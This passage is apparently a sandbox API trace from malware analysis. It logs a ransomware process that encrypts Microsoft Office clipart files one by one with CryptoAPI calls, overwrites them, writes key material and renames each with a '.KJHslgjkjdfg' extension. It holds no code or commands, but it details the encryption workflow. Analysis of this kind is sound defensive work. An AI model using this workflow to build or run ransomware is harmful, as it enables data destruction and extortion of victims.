[0196.163] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.163] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2466, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2466, lpOverlapped=0x0) returned 1 [0196.164] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2470, dwBufLen=0x2470 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2470) returned 1 [0196.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.164] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2470, lpOverlapped=0x0) returned 1 [0196.164] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.164] SetEndOfFile (hFile=0x130) returned 1 [0196.165] GetProcessHeap () returned 0x2ef0000 [0196.165] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.165] GetProcessHeap () returned 0x2ef0000 [0196.165] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.165] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.kjhslgjkjdfg")) returned 1 [0196.167] CloseHandle (hObject=0x130) returned 1 [0196.167] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0196.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.168] GetProcessHeap () returned 0x2ef0000 [0196.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.168] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.168] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.170] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.170] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.170] GetProcessHeap () returned 0x2ef0000 [0196.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0196.171] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0196.171] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.171] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0196.171] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.171] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.171] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.171] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.171] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.171] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x816, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x816, lpOverlapped=0x0) returned 1 [0196.172] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820, dwBufLen=0x820 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820) returned 1 [0196.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.172] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x820, lpOverlapped=0x0) returned 1 [0196.172] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.172] SetEndOfFile (hFile=0x130) returned 1 [0196.175] GetProcessHeap () returned 0x2ef0000 [0196.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0196.175] GetProcessHeap () returned 0x2ef0000 [0196.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.kjhslgjkjdfg")) returned 1 [0196.176] CloseHandle (hObject=0x130) returned 1 [0196.176] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0196.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.177] GetProcessHeap () returned 0x2ef0000 [0196.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.178] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.178] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0196.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.181] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.181] GetProcessHeap () returned 0x2ef0000 [0196.182] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.182] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.182] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.182] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.182] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.182] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.182] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.182] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.182] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.182] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.183] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d8f, lpOverlapped=0x0) returned 1 [0196.183] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d90) returned 1 [0196.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.184] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d90, lpOverlapped=0x0) returned 1 [0196.184] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.184] SetEndOfFile (hFile=0x130) returned 1 [0196.184] GetProcessHeap () returned 0x2ef0000 [0196.184] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.184] GetProcessHeap () returned 0x2ef0000 [0196.184] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.kjhslgjkjdfg")) returned 1 [0196.186] CloseHandle (hObject=0x130) returned 1 [0196.186] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0196.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.188] GetProcessHeap () returned 0x2ef0000 [0196.188] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.188] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.189] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0196.191] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.191] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.191] GetProcessHeap () returned 0x2ef0000 [0196.191] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.191] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.191] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.191] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.191] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.191] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.192] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.192] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.192] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.192] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.192] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x18bb, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x18bb, lpOverlapped=0x0) returned 1 [0196.193] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18c0, dwBufLen=0x18c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18c0) returned 1 [0196.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.193] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x18c0, lpOverlapped=0x0) returned 1 [0196.193] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.194] SetEndOfFile (hFile=0x130) returned 1 [0196.196] GetProcessHeap () returned 0x2ef0000 [0196.196] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.197] GetProcessHeap () returned 0x2ef0000 [0196.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.kjhslgjkjdfg")) returned 1 [0196.198] CloseHandle (hObject=0x130) returned 1 [0196.198] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0196.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.199] GetProcessHeap () returned 0x2ef0000 [0196.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.199] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.202] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.202] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.202] GetProcessHeap () returned 0x2ef0000 [0196.202] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.202] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.202] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.202] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.202] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.203] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.203] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.203] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xeb4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xeb4, lpOverlapped=0x0) returned 1 [0196.203] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xec0, dwBufLen=0xec0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xec0) returned 1 [0196.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.203] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, 